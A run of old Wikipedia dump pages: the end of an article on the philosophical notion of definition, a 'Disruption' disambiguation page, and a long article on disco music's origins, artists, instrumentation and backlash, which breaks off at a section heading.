Just as [[logical argument|argument]]s can be good or bad, definitions can be good or bad.  A definition gives us the ''meaning'' of a word.  To understand this more deeply requires an elucidation of a few features of meaning, the principal ones being extension, intension, ambiguity, and vagueness.
*An [[ostensive definition]] points out examples by which one gains a sense of the meaning of a word.
*An [[extensional definition]] exhaustively lists every referent of a word (the completion of an ostensive exploration).
*An [[intensional definition]] gives the properties of the referents of the word under investigation, usually allowing a more compact definition than a complete enumeration.
The distinction between the ''[[extension (semantics)|extension]]'' and the ''[[intension]]'' of a word is very similar to the distinction between a word's ''denotation'' and ''connotation''.  For example, the extension of the word &quot;bachelor&quot; would be ''all and only the bachelors in the world''.  The extension of this word would include several hundreds of millions of men.  The ''intension'' of the word is more brief because it includes just two properties: the property of being a ''man'', and the property of being ''unmarried''.  Essentially, all bachelors are unmarried men, and ''only'' bachelors are unmarried men.

The sort of definition that philosophers are interested in, insofar as they are interested in ''definitions'' at all, is one that identifies a word's ''intension'', rather than its ''extension''.  A definition of the word 'bachelor' is 'unmarried man' which could also be specified by a very long list including all unmarried men. Aside from being practically impossible, such a list is not what is generally desired.  What is desired is a description of what all those things we call 'bachelors' have in common that distinguishes them from all non-bachelors.  A list of all bachelors would be static, and could not expand to determine whether any new human is a bachelor or not.

There are two different ways in which the meanings of words can be ''unclear''.  Words can be unclear in the sense of being ''[[ambiguity|ambiguous]]'', of being ''[[vagueness|vague]]'', or a combination of the two.  Most words are, in fact, both ambiguous and vague.  This is not a skeptical or even a controversial claim; to say that many, or perhaps even most, words are both ambiguous ''and'' vague is not to say that they have no meaning.  It is to say, first, that many individual words have many distinct senses; and, second, that those senses are often, in ordinary language, not meant to be exhaustively precise.  A word that is both ambiguous and vague, whose extreme limits are fuzzy and undefined, can still contain a rich fund of meaning.

== A definition of 'definition'==

Suppose we have decided to define a certain word or a concept associated with that word.  Suppose also that we have identified ''which sense'' of the word we are interested in, and we have noted clear cases, some unclear cases, and some borderline cases of the application of the word.  The question then is: how can this word be defined?  What is desired here is a description of the ''intension'' of the word: that is, an account of the set of properties that characterizes all and only members of the extension.  In that case, it seems the following is a serviceable account of the meaning of '(intensional) definition':
:The ''definition'' of a [[concept]], or of (a given sense of) a word or phrase, is a [[description]] of its [[intension]]&amp;mdash;that is, the set of [[Property (philosophy)|properties]] that characterizes all and only members of the [[extension (semantics)|extension]] of the word; the extension is all the things that the concept, word, or phrase applies to.
Some philosophers have criticisms of this sort of definition of the word ''definition''; or perhaps it would be better to say that some philosophers think that it is, for various reasons, impossible to give exhaustively exact definitions of most concepts, words, and phrases.  Two prominent critics are [[Ludwig Wittgenstein|Wittgenstein]] and [[W. V. Quine|Quine]].  Still most philosophers acknowledge that in philosophy something similar to giving definitions of important philosophical concepts is necessary.

== ''A contribution to defining the term 'definition''' ==

Minimum Intent: The following definition of the term 'definition' is presented as a reference, (a comparator, a norm) that must not be violated when defining scientific terms.
 
Axioms: 

1) ‘Something’ is a term that has a most general meaning, it can mean anything (but it does not automatically include ‘everything’).

2) 'Ambient' is anything in the vicinity of, and, to a certain degree, within something.
 
3) ‘Event’ is something that can be distinguished from its ambient. 

4) ‘Relation’ is something that has, at least, two events. 

5) ‘System’ is something that has at least two relations.

6) ‘Phenomenon’ is a generic term (hypernym) for the above terms,  providing that one or several of  human senses indicate (directly or indirectly, presently or in the past) the existence of a so-termed system, relation, event, ambient, or something else.

7) All other terms used within this theorem - apart from the term “definition” and the terms listed in inverted commas under 1) to 6) above - are already intrinsically known; the understanding of each of these terms is consistent with this treatise. 
 
Theorem: 

&quot;Definition&quot; is a fixed, static form (a model; an appearance of something as distinguished from the substance of which it is made; something autonomous from its own representation) of some relation(s) that significantly increases the probability of realisation of an intended (premeditated) change of some phenomenon. Such a change is to be achieved by an entity that is capable of utilising this definition for such a specified purpose. A definition cannot be generated, or used, without the existence of a system, which is organised and structured above a certain level of chaos. However, once it is generated and recorded, a definition can continue to exist (to be recorded) without the existence of the mentioned entity. A definition should be complemented with a minimum intent statement: a context that delimits a minimum domain of purposes for which it can be used. This statement does not exclude the possibility of using the same definition correctly for some other purpose. However, this extended use must not violate (contradict) an already established meaning; e.g. it must not cause synonymy or homonymy.
 
In addition, a definition must be complemented with axioms, with one or more examples, and, when needed and possible, with figures and animated representations.

Definitions are the bits necessary to construct and communicate knowledge. A definition is built up of structural components: pieces of information. Information is conveyed by means of signals of various kinds; the most frequently used include figures and terms. Although terms can be transferred by means of figures, they can also be transferred by means of sounds which are registered by the hearing senses. It is worth noting that information media can be mutually translated, e.g. visual info can be translated into information received by tactile or hearing senses. A history of the media used to record information reveals a variety of options. Alphabetic writing (in which consonant and vowel sounds are presented by letters or other symbols such as Braille characters and Morse code) is the most widespread system, but it is not the earliest, nor is it the only one. Writing has evolved from an extension of pictures that iconically represented some thing or action and then the word that bore that meaning. This approach led to so-called character script, such as that of Chinese, in which each word is represented by a separate symbol. 
 
Contemporary definitions rely heavily on textual formulations, but figures are also very efficient at conveying comprehensive information; many sciences (e.g. mathematics, chemistry) have accepted ideograms to convey sophisticated notions. The optimal solution is an appropriate combination of text, figures, animation and sound.

The following definition is presented to provide an example of a definition:

“Figure”: (n) an arrangement of points made within two-dimensional space to present a visual static impression (a perception) of something (e.g., a figure printed on a book page, showing the front view of a home). [http://proceedings.informingscience.org/InSITE2004/090spuzi.pdf Spuzic S and Nouwens F (2004) &quot;A Contribution to Defining the Term ‘Definition’&quot;, Issues in Informing Science and Information Technology Education, Volume 1 (2004) pp 645 - 662]

==Quotation==
''&quot;Nothing is more usual than for philosophers to encroach on the province of grammarians, and to engage in disputes of words, while they imagine they are handling controversies of the deepest importance and concern.&quot;'' &amp;mdash; [[David Hume]]

==See also==
{{wiktionarypar|definition}}
*[[Analytic proposition]]
*[[Definitions]] 
*[[Fallacies of definition]]
*[[Ramsey-Lewis method]]
*[[Synthetic proposition]]

==External links==
*[http://samvak.tripod.com/define.html The structure and internal logic of definitions]

[[Category:Definition]]
[[Category:Philosophy of language]]
[[Category:Semantics]]


{{Link FA|pl}}

[[da:Definition]]
[[de:Definition]]
[[es:Definición]]
[[eo:Difino]]
[[fr:Définition]]
[[gl:Definición]]
[[hr:Definicija]]
[[id:Definisi]]
[[it:Definizione]]
[[he:הגדרה]]
[[hu:Definíció]]
[[mk:Дефиниција]]
[[nl:Definitie]]
[[ja:定義]]
[[pl:Definicja]]
[[ru:Определение]]
[[simple:Definition]]
[[sl:Definicija]]
[[sr:Дефиниција]]
[[sv:Definition]]
[[uk:Означення]]</text>
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  <page>
    <title>Disruption</title>
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      <timestamp>2005-12-14T15:13:26Z</timestamp>
      <contributor>
        <ip>64.45.148.131</ip>
      </contributor>
      <text xml:space="preserve">'''Disruption''' generally refers to the normal workings of something being interrupted. 

*In [[Scotland]], the '''[[Disruption of 1843]]''' refers to the divergence from the [[Church of Scotland]] of the [[Free Church of Scotland]]
*'''[[Dismemberment|Disruption]]''' as a method of [[execution (legal)|execution]] consists of tying each leg of the victim to [[horse]]s or other animals, to two [[winch]]es or other pulling machines, such as the [[rack]], or to two small trees that have been bent down to the ground and then releasing the trees to spring up or pulling simultaneously with the animals or machines so that the body of the execution victim is pulled apart. One celebrated victim of such an execution was Queen [[Brunhilda of Austrasia]], who, on her nephew's orders, was subjected to horrific extension on the rack for three days, before suffering final dismemberment between four horses.

*In [[Korea]], during the periods of 12th and 18th century, there was a form of punishment that was called &quot;Neung Ji Cheo Cham&quot; that would involve four hooved animals (ox, horse), and a criminal. The victim's legs and arms would each be tied to the four animals separately, and on one instance, all animals would be commanded or whipped to run in opposite directions, thereby literally 'tearing' the victims body in 5 pieces (two legs, two arms and the torso)

*[[Information security]] specialists also may refer to a disaster as a '''disruption''' when an event interrupts normal business or technical processes.
*[[Disruption (of adoption)|Disruption]] is also the term for the cancellation of an [[adoption]] of a child before it is legally completed. In common usage, though, it refers also to the legal procedure for ending an adoption already completed, which is technically known as [[dissolution]].
*Disruption is a method of disabling an explosive device by shooting it with water at high velocity.
*See also [[Disruption (of schema)]] in evolutionary computing
{{disambig}}
[[fr:Écartèlement]]</text>
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  </page>
  <page>
    <title>Disco</title>
    <id>7966</id>
    <revision>
      <id>42135150</id>
      <timestamp>2006-03-04T01:27:24Z</timestamp>
      <contributor>
        <username>Underwater</username>
        <id>481581</id>
      </contributor>
      <comment>/* Rock versus disco  That last paragraph soo doesn't fit. Nice, but utterly unessisary.</comment>
      <text xml:space="preserve">{{disco}}

'''Disco''' is a genre of music that originated in [[discothèque]]s.  Generally the term refers to a specific style of music and [[dance]]. 

==Origins==
[[Image:Discofeverstamp.jpg|right|200px]]
As with all such musical genres, defining a single point of disco's development is difficult, as many elements of disco music appear on earlier records (such as the [[1971]] theme from the film ''[[Shaft (1971 film)|Shaft]]'' by [[Isaac Hayes]]) (Jones and Kantonen, 1999). In general it can be said that first true disco songs were released in [[1973]], however, many consider [[Manu Dibango]]'s 1972 ''Soul Makossa'' the first disco record (Jones and Kantonen, 1999). Initially, most disco songs catered to a nightclub/[[dancing]] audience only, rather than general audiences such as [[radio]] listeners, but there are many aspects proving opposite tendencies as well; popular radio-hits were being played in discothèques, as long as they had an easy to follow rhythmic base-pattern close to 120 BPM (beats per minute).

Musical influences include [[funk]], [[soul music]], and [[salsa (music)|salsa]] and the Latin or Hispanic musics which influenced salsa.

Soul and funk records that influenced disco include:

*[[Sly and the Family Stone]] - &quot;[[Dance to the Music (song)|Dance to the Music]]&quot; (1968), &quot;[[Everyday People]]&quot; (1968) (Jones and Kantonen, 1999), &quot;Family Affair&quot; (1971)
*[[Hugh Masekela]] - &quot;Grazing in the Grass&quot; (1968)
*[[Honey Cone]] - &quot;Want Ads&quot; (1971), &quot;Stick Up&quot; (1971)
*[[Isaac Hayes]] - &quot;Shaft&quot; (1971)
*[[Incredible Bongo Band]] - &quot;Bongo Rock&quot; (1973) (ibid)
*[[Eumir Deodato]] - &quot;Also Sprach Zarathustra&quot; (1973)
*[[Average White Band]] - &quot;Pick Up the Pieces&quot; (1974), &quot;Cut the Cake&quot; (1975) (ibid)
*[[James Brown (musician)|James Brown]] - &quot;Get Up (I Feel Like Being A) Sex Machine&quot; (1970), &quot;Get Up, Get Into It, Get Involved&quot; (1971), &quot;Get Up Off of That Thing&quot; (1975) (ibid)

The [[Motown Sound]] also featured many elements that would be associated with the disco sound:
*[[Martha &amp; The Vandellas]] &quot;Dancing In The Street&quot; (1963) 
*[[The Supremes]] - &quot;[[You Keep Me Hangin' On]]&quot; (1966), &quot;Reflections&quot; (1967)
*[[Jackson 5]] - &quot;[[I Want You Back]]&quot;, &quot;[[ABC (song)|ABC]]&quot;, &quot;[[The Love You Save]]&quot;, &quot;[[Mama's Pearl]]&quot; (1969-71)
*[[Stevie Wonder]] - &quot;Yester-Me, Yester-You, Yesterday&quot; (1969), &quot;Signed, Sealed, Delivered, I'm Yours&quot; (1970), &quot;Superstition&quot; (1972), &quot;Higher Ground&quot; (1973) (ibid)
*[[Diana Ross]] - &quot;[[Ain't No Mountain High Enough]]&quot; (1970)

[[Philadelphia International Records]] defined [[Philly soul]] and helped define disco (ibid) with records such as:
*[[The Three Degrees]] - &quot;When Will I See You Again&quot; (1973) (ibid)
*[[The Intruders]] - &quot;I'll Always Love My Mama&quot; (1973) (ibid)
*[[The O'Jays]] - &quot;Love Train&quot; (1972), &quot;For the Love of Money&quot; (1974), &quot;I Love Music&quot; (1975) (ibid)
*[[MFSB]] - &quot;[[TSOP (The Sound of Philadelphia)]]&quot; (1973), &quot;Love is the Message&quot; (1973) (ibid)

Pre-/Early-disco [[TK Records]] tracks:
*[[Betty Wright]] - &quot;Clean Up Woman&quot; (1972) (ibid)
*[[George McCrae]]- &quot;Rock Your Baby&quot; (1974) (ibid)
*[[KC and the Sunshine Band]] - &quot;Get Down Tonight&quot; (1975), &quot;That's the Way (I Like It)&quot; (1975), &quot;(Shake Shake Shake) Shake Your Booty&quot; (1976) (ibid)

Early-disco hits include:
*[[Nelson James]] - &quot;I Have An Afro&quot; (1972) (ibid)
*[[Harold Melvin &amp; the Blue Notes]] - &quot;The Love I Lost&quot; (1973) (ibid)
*[[Love Unlimited Orchestra]] - &quot;Love's Theme&quot; (1973) (ibid)
*[[The Jackson 5]]- &quot;Dancing Machine&quot; (1974) (ibid)
*[[Barry White]] - &quot;I'm Gonna Love You Just a Little More, Baby&quot; (1973), &quot;Can't Get Enough of Your Love, Babe&quot; (1974), &quot;You're the First, the Last, My Everything&quot; (1975) (ibid)
*[[Shirley and Co.]] - &quot;Shame, Shame, Shame&quot;  (1975) (ibid)
*[[Hues Corporation]] - &quot;Rock the Boat&quot; (1974) (ibid)
*[[The Commodores]] - &quot;Machine Gun&quot; (1974) (ibid)
*[[Frankie Valli]] - &quot;Swearin' To God (1974)
*[[Dalida]]- &quot;J'Attendrai&quot; (the first French disco song and first hit in Europe) (1975) (ibid)
*[[LaBelle]] - &quot;Lady Marmalade&quot; (1975) (ibid)
*[[The Four Seasons]] - &quot;Who Loves You&quot; and &quot;December '63 (Oh What A Night!)&quot; (1975) (ibid)
*[[Silver Convention]] - &quot;Fly Robin Fly&quot; (1975), &quot;Get Up and Boogie&quot; (1976) (ibid)
*[[Andrea True Connection]]- &quot;More More More&quot; (1976) (ibid)

==Popularity==
[[1975]] was the year when disco really took off, with hit songs like [[Van McCoy]]'s &quot;[[The Hustle]]&quot; and [[Donna Summer]]'s &quot;Love To Love You Baby&quot; reaching the mainstream. 1975 also marked the release of the first [[disco mix]] on album, the A side of [[Gloria Gaynor]]'s ''Never Can Say Goodbye'' (Jones and Kantonen, 1999). Disco's popularity peaked in the so-called Disco era of [[1977]] - [[1980]], driven in part by the [[1977]] classic film ''[[Saturday Night Fever]]''.  Disco also gave rise to an increased popularity of [[Line dance|line dancing]] and other partly pre-choreographed dances; many line dances can be seen in films such as ''Saturday Night Fever'', which also features the [[Hustle (dance)|Hustle]].

In [[1975]], the pop star [[Dalida]] was the first to make disco music in France with her song &quot;J'attendrai&quot; which was a big hit there as well as in Canada and Japan in [[1976]]. She also released many other disco hits between [[1975]] and [[1981]], including &quot;Monday, Tuesday... Laissez-moi danser&quot; in [[1979]], translated the same year as &quot;Let Me Dance Tonight&quot; for the USA, where she was their &quot;French diva&quot; since her late-[[1978]] performance at the [[Carnegie Hall]]). Soon after [[Dalida]]'s pioneering French disco work, other French artists recorded disco: [[Claude François]], in [[1976]] with his song &quot;Cette année-là&quot; (a cover of [[The Four Seasons]]' disco hit &quot;December 1963 (Oh what a night)&quot;), then the famous &quot;yé-yé&quot; French pop singer [[Sheila]], with her group [[B. Devotion]], who even had a hit in the USA (a rarity for French artists) with the song &quot;Spacer&quot; in [[1979]]. Many other European artists also recorded disco music.

==Popular disco artists==
[[Image:Saturday night fever.jpg|thumb|left|Saturday Night Fever]]
The most popular disco artists of the 1970s include [[The Bee Gees]], [[A Taste of Honey (band)|A Taste of Honey]],  [[Cerrone]], [[ABBA]], [[Chic]], [[Sister Sledge]], [[The Jacksons]], [[Claudja Barry]], [[Linda Clifford]], [[Teri DeSario]], [[Donna Summer]], [[Grace Jones]], [[Stephanie Mills]], [[Carol Williams]], [[Sylvester James|Sylvester]], [[Gloria Gaynor]], [[Boney M]], [[Village People]], [[K.C. and the Sunshine Band]], [[Vicki Sue Robinson]], [[MFSB]], [[Loleatta Holloway]], [[France Joli]], [[Evelyn King|Evelyn 'Champagne' King]], [[Yvonne Elliman]], [[Tavares (music group)|Tavares]], [[Salsoul Orchestra]], [[Phyllis Hyman]], [[The Emotions]], [[Thelma Houston]], [[Cheryl Lynn]], [[The Trammps]], [[Love and Kisses]], [[Barry White]], [[Silver Convention]], [[Kool &amp; the Gang]], [[Michael Jackson]], [[Dalida]], and [[Machine (disco artist)]]. However, many disco fans would agree that, &quot;for every chart hit pounded into the public's consciousness, fifty far superior tracks from all over the world were being played at some hard-to-find basement club&quot; (Jones and Kantonen, 1999). There appeared many non-disco artists, which included [[The Eagles]], [[The Rolling Stones]], [[Kiss (band)|KISS]], [[The Grateful Dead]], [[Dolly Parton]], [[Cher (entertainer)|Cher]], [[Barry Manilow]],  [[Aretha Franklin]], [[Isaac Hayes]], [[Leif Garrett]], [[Toto (band)|Toto]], [[Chaka Khan]], [[The Beach Boys]], [[Billy Preston]], [[Chicago (band)|Chicago]], [[Electric Light Orchestra]], [[The Pointer Sisters]], [[Elton John]], [[James Brown (musician)|James Brown]], [[Bette Midler]], [[Prince]], [[Helen Reddy]], [[Carly Simon]], [[Diana Ross]], [[Earth, Wind and Fire]], [[Rod Stewart]], [[Queen (band)|Queen]] (with the bass guitar riffs emulating those of Chic in their hit ''[[Another One Bites The Dust]]''), [[Blondie (band)|Blondie]], [[Bryan Adams]], as well as veteran entertainers such as [[Paul Anka]], [[Ann-Margret]], [[Charo]], [[Frankie Avalon]], [[Engelbert Humperdinck]], [[Ethel Merman]], [[Wayne Newton]], [[Barbra Streisand]], [[Andy Williams]], and [[Frank Sinatra]].

Many disco novelty songs sold well and were popular. [[Rick Dees]], at the time a radio DJ in [[Memphis, Tennessee]], recorded what is considered to be one of the most popular parodies of all time, ''[[Disco Duck]]''.

==DJs and producers==
Disco music diverged from the [[rock (music)|rock]] of the [[1960s]], elevating music from the raw sound of 4-piece [[garage bands]] to refined music composed by producers who contracted local [[symphony]] and [[philharmonic]] [[orchestras]] and session musicians. For the first time in three decades, orchestral music became the preeminent sound in the popular-music scene. Top disco music producers included [[Patrick Adams]], [[Biddu]], [[Cerrone]], [[Alec R. Costandinos]], [[John Davis]], [[Gregg Diamond]], [[Kenneth Gamble]], [[Norman Harris]], [[Leon Huff]], [[Sylvester Levay]], [[Ian Levine]], [[Mike Lewis]], [[Van McCoy]], [[Meco Monardo]], [[Tom Moulton]], [[Boris Midney]], [[Vincent Montana Jr]], [[Randy Muller]], [[Freddie Perren]], [[Laurin Rinder]], [[Richie Rome]], [[Warren Schatz]], [[Harold Wheeler]], and [[Michael Zager]], whose roles involved every aspect of production, from composing the arrangements to conducting the 50- to 100-member orchestras from [[Los_Angeles (orchestra)|Los Angeles]] to [[New_York (orchestra)|New York]], from [[Chicago (orchestra)|Chicago]] to [[Philadelphia (orchestra)|Philadelphia]], from [[Detroit (orchestra)|Detroit]] to [[Miami (orchestra)|Miami]], from [[London (orchestra)|London]] to [[Berlin (orchestra)|Berlin]], from [[Vancouver (orchestra)|Vancouver]] to [[Montreal (orchestra)|Montreal]], from to [[Paris (orchestra)|Paris]] to [[Milan (orchestra)|Milan]].

With as many as 64 [[sound_recording|track]]s of vocals and instruments to be compiled into a fluid composition of verses, bridges, and refrains, complete with [[orchestral build]]s and [[break (music)|break]]s, the mixing engineers became an important fixture in the production process, and, as a result, were most influential in developing the &quot;sound&quot; of the recording through the [[disco mix]]. Record sales were often dependent on, though not guaranteed by, floor play in clubs. Notable DJs include [[Jim Burgess]], [[Walter Gibbons]], [[John &quot;Jellybean&quot; Benitez]], [[Rick Gianatos]], [[Francis Grasso]] (Sanctuary), [[Larry Levan]] (Paradise Garage), [[Ian Levine]] (Heaven), John Luongo, and [[David Mancuso]] (The Loft).

==Instrumentation==
Instruments commonly used by disco musicians included the rhythm [[guitar]] (most often played in &quot;chicken-scratch&quot; style, usually through a [[wah-wah]] or [[phaser]]), [[bass guitar|bass]], [[piano]] and electroacoustic keyboards (most important: the [[Fender-Rhodes]] and [[Wurlitzer]] electric pianos and the [[Hohner Clavinet]]), [[harp]], [[synthesizer|string synth]], [[violin]], [[viola]], [[cello]], [[trumpet]], [[saxophone]], [[trombone]], [[clarinet]], [[flugelhorn]], [[Horn (instrument)|French horn]], [[tuba]], [[English horn]], [[oboe]], [[flute]], [[piccolo]], and [[drums]], [[timpani]], as well a [[drum kit]].  [[Electronic drum]]s were making a debut during this era, with Simmons and [[Roland Corporation|Roland]] [[sound module|drum modules]] appearing as pioneers in electronic percussion.  Most disco songs have a steady [[four-on-the-floor (music)|four-on-the-floor]] beat (sometimes using a 16-beat pattern on the [[hi-hat]] cymbal, or an eight-beat pattern with an open hi-hat on the &quot;off&quot; beat) and a heavy, syncopated bassline. 

In general, the difference between a disco, or any dance song, and a rock or popular song is that in dance music the bass hits &quot;[[four to the floor]]&quot;, at least once a beat (which in 4/4 time is 4 beats per measure), whereas in rock the bass hits on one and three and lets the snare take the lead on two and four. (Michaels, 1990) Disco is further characterized by a sixteenth note division of the quarter notes established by the bass as shown in the second drum pattern below, after a typical rock drum pattern:

[[Image:Characteristic rock and disco drum patterns.PNG|550px|Characteristic rock and disco drum patterns]]

This sixteenth note pattern is often supported by other instruments such as the rhythm guitar (lead guitar parts are rare), and may be implied rather than explicitly present, often involving [[syncopation]]. As a simpler example, bass lines often use the following rhythm:

[[Image:Characteristic disco bass rhythm.PNG|550px|Characteristic disco bass rhythm]]

The orchestral sound usually known as &quot;disco sound&quot; relies heavily on strings and horns playing linear phrases, in unison with the soaring, often reverberated vocals or playing instrumental fills, while electric pianos and chicken-scratch guitars create the background &quot;pad&quot; sound defining the harmony progression. Typically, a &quot;[[wall of sound]]&quot; results. There are however more minimalistic flavors of disco with reduced, transparent instrumentation, pioneered by [[Chic]].

==Format==
At first, [[single (music)|singles]] were released on 7-inch [[45 (number)|45]]-[[rpm]] records, 45s, which were shorter in length and of poorer sound quality than [[12-inch single]]s. [[Motown Records]] was the first to market these through their &quot;Eye-Cue&quot; label, but these and other 12-inch singles were the length of the original 45s until Scepter/Wand released the first 12-inch extended-version single in 1976: [[Jesse Green]]'s &quot;Nice and Slow&quot; b/w [[Sweet Music]]'s &quot;I Get Lifted&quot; (engineered by [[Tom Moulton]]). The single was packaged in collectable picture sleeves, a relatively new concept at the time. 12-Inch singles became commercially available after the first crossover, [[Tavares (music group)|Tavares]]' &quot;Heaven Must Be Missing an Angel.&quot; 12-Inch singles allowed longer dance time and [[musical form|formal]] possibilities. (Jones and Kantonen, 1999)

==Backlash in U.S. and UK==

The popularity of the film ''Saturday Night Fever'' prompted the major record labels to mass-produce hits, however, as some perceived, turning the genre from something vital and edgy into a safe &quot;product&quot; homogenized for the mass audience. Though disco music had several years of popularity, an American anti-disco sentiment was festering, marked by an impatient return to rock (loudly encouraged by worried rock radio stations). Disco music and dancing fads were depicted as not only silly (witness [[Frank Zappa]]'s satirical song [[Sheik Yerbouti|&quot;Dancin' Fool&quot;]]), but [[effeminate]]. 

In Britain, however, during the same year as the first American anti-disco demonstration (see [[Disco#Rock vs. Disco|below]]), ''The Young Nationalist'' publication of the [[far-right]] [[British National Party]] reported that &quot;disco and its melting pot pseudo-philosophy must be fought or Britain's streets will be full of black-worshipping soul boys,&quot; though this had been true for twenty years with many white male English teens considering themselves &quot;soul freaks&quot;. The emergence of the [[punk rock|punk]] and [[goth]] scenes contributed to disco's decline.

===Rock versus disco===
Strong disapproval of disco among some rock fans existed throughout the disco era, growing as disco's influence grew, such that the expression &quot;Disco Sucks&quot; was common by the late-1970s among these fans. 

In [[1979]], Chicago rock deejays [[Steve Dahl]] and [[Garry Meier]] along with [[Michael Veeck]] (son of legendary sports marketer [[Bill Veeck]]) staged a promotional event with an anti-disco theme, ''[[Disco Demolition Night]]'', between games at a [[Chicago White Sox|White Sox]] doubleheader. The event involved exploding disco records, and ended in a near-riot. The second game of the doubleheader had to be forfeited.

White male rock fans who spoke out against the music were sometimes accused of prejudice for objecting to a musical idiom that was strongly associated with both black and homosexual audiences. To further complicate matters, several prominent, popular rock artists recorded songs with audible debts to disco, sometimes to strong critical and commercial response. [[David Bowie]]'s &quot;Golden Years,&quot; and [[The Rolling Stones]]' &quot;Miss You&quot; and &quot;Emotional Rescue,&quot; are distinguished examples of these disco-rock fusions, and artists such as [[The Who]], [[Rod Stewart]], and to a lesser extent [[Queen (band)|Queen]] and [[The Clash]] also recorded disco-informed songs. Since the advent of disco and dance music in general, many have argued that more and more rock music has absorbed the rhythmic sensibilities of dance.

==Time of transition== 

The year 1980 was a transitional time for music, especially dance music, which lost its ''disco sound'', as complex melodic structures and plush elements of the symphony orchestra gave way to a diminutive, ''street'' sound.  In the early-[[1980s]], [[George Benson]], [[Rick James]], [[Patrice Rushen]], [[The Brothers Johnson]], [[The Weather Girls]], [[Madonna (singer)|Madonna]], [[Kool &amp; the Gang]], [[Miquel Brown]], [[Teena Marie]], [[The Commodores]], [[The S.O.S. Band]], and other artists continued to create many ''disco-influenced'' dance hits. At the same time new styles emerged  - [[Italo Disco]] and [[Euro Disco]]. 

The gradual change that occurred in the late-1970s pop-disco sound can be evidenced in such titles as 
*[[Donna Summers]]' ''I Feel Love'' (1977) and ''Hot Stuff'' (1978)
*[[Rod Stewart]]'s ''Do You Think I'm Sexy''(1978)
*[[Amii Stewart]]'s ''Knock On Wood'' (1979) 
*[[The Bee Gees]]' ''Tragedy'' (1979) 
*[[Blondie]]'s ''Heart of Glass'' (1979) 
which foreboded the events of the next decade.  Faster tempos and synthesized affects during the early-1980s dance sound, accompanied by simplified backgrounds and rock guitars, directed ''dance music'' toward the ''pop-rock'' genre.  Songs such as 
*[[Olivia Newton-John]]'s ''Xanadu'' (1980) 
*Lime's ''Your Love'' (1981) 
*Boystown Gang's ''Can't Take My Eyes off of You'' (1981) 
*Roni Griffith's ''(The Best Part of) Breaking Up'' (1981) 
*Patrick Cowley's ''Do You Wanna Funk'' (1982) 
*[[The Pointer Sisters]]' ''Jump'' (1982) 
*[[The Weather Girls]]' ''It's Raining Men'' (1982) 
exemplified the emerging dance-music form that dropped the complicated melodic structures of the ''disco style'', as woodwinds, horns, and strings were replaced by synthesizers, which mimicked their sound.  Here, one can readily experience the drastic changes, from the musical arrangements - missing all signs of [[symphony]]-[[orchestration]], including [[Orchestral_build|orchestral builds]] and [[breaks]] - to the [[melody]] - missing all signs of the complicated structures of the typical disco sound, including multiple [[musical_bridge|bridges]] and fanciful [[refrains]].

==Regional styles of disco==
Main article: ''[[disco orchestration]]''

As with many forms of art, music contains many ''types'', of which there are distinct ''[[genres]]'', and within which there are various ''[[styles]]''.  The sound of a disco song, as with the sound of a song of any genre of music, depended on the particular tastes of the artists, and the arrangers, producers, and even the orchestra conductors and [[concertmasters]] dictating the type of stylized playing method of each [[section]] of the [[orchestra]], down to the [[engineers]] and [[mixers]] who assembled all the elements to make a fluid, cohesive ''sculpture of sound'' through melodic continuity.  Even without a very knowledgeable ''ear'' for music, one can distinguish the stylings of Van McCoy's ''The Hustle'' (1976) from those of Silver Convention's ''Get Up and Boogie'' (1976), and from those of Chic's ''Good Times''(1978), and Sister sledge's ''We Are Family''(1978). 

As such, many ''regional sounds'' of ''disco'' developed during the mid-1970s, as a result of collaborative efforts of many individuals with a legacy of formal education and training in music theory and orchestration, whose educational backgrounds laid the foundation for the musical genre that was to burst forth onto the ''dance-music scene'' into what would come to be regarded as ''designer music''.  It can be noted that many of the [[Conducting|conductors]] and [[Orchestra|players]] of the large city symphony and philharmonic orchestras responsible for the grand productions of ''disco'' were seasoned veterans of orchestras throughout the country, some even going back to the ''[[Big_band|big-band era]]''.

Some of the different regional sounds include:
* [[Philadelphia_(orchestra)|The Philadelphia Symphony Orchestra]] as heard by groups such as [[MFSB]], [[The Three Degrees]], [[The Ritchie Family]]. 

* [[New_York_(orchestra)|The New York Philharmonic Orchestra]] was the foundation of the '''New York Sound''', which included
** [[Van McCoy]] ''The Hustle'', 
** [[Odyssey]]'s ''Native New Yorker'' (1977), 
** [[Gerri Granger]]'s ''Can't Take My Eyes off of You'' (1976) 
** [[Vicki Sue Robinson]]'s ''Turn the Beat Around'' (1976), 
** [[Roberta Flack]]'s ''Back Together Again'' (1979), 

* [[Los_Angeles_(orchestra)|The Los Angeles Symphony Orchestra]] was the foundation of the '''Los Angeles Sound''', which included:
** [[Carrie Lucas]]'s ''Dance with Me'' (1979), 
** [[Love Unlimited Orchestra]]'s ''My Sweet Summer Suite'' (1976), 
** [[Tavares]]' ''Heaven Must Be Missing an Angel'' (1976) 
** [[Phyllis Hyman]]'s ''You Know How to Love Me'' (1979),
** [[High Inergy]]'s ''Shoulda Gone Dancing'' (1979)

==Transition from the ''disco sound'' of the 1970s to the ''dance sound'' of the 1980s==

The transition from the late-1970s disco styles to the early-1980s dance styles can be illustrated best by analysis of the work of specific artists, arrangers, and producers within each region, respective to the timeperiods. Complex musical structurres basically gave way to a &quot;one-man-band&quot; sound produced on synthesizer keyboards. Also, the increased addition of a slightly different harmonic structure, with elements borrowed from Blues and Jazz, (such as more prominent chords created with acoustic or electric pianos) created a different style of &quot;dance music&quot; in the 1981-83 period. But by this time, the word &quot;disco&quot; became associated with anything danceable, that played in discothèques, so the music continued for a time to be called &quot;disco&quot; by many. Examples include D. Train, Kashif, and Patrice Rushen. Both changes was influenced by some of the great R &amp; B and jazz musicians of the 70's, such as Stevie Wonder and Herbie Hancock, who had pioneered and perfected &quot;one-man-band&quot; type keyboard techniques.

==Disco &quot;spinoffs&quot; rap and &quot;house&quot; music==

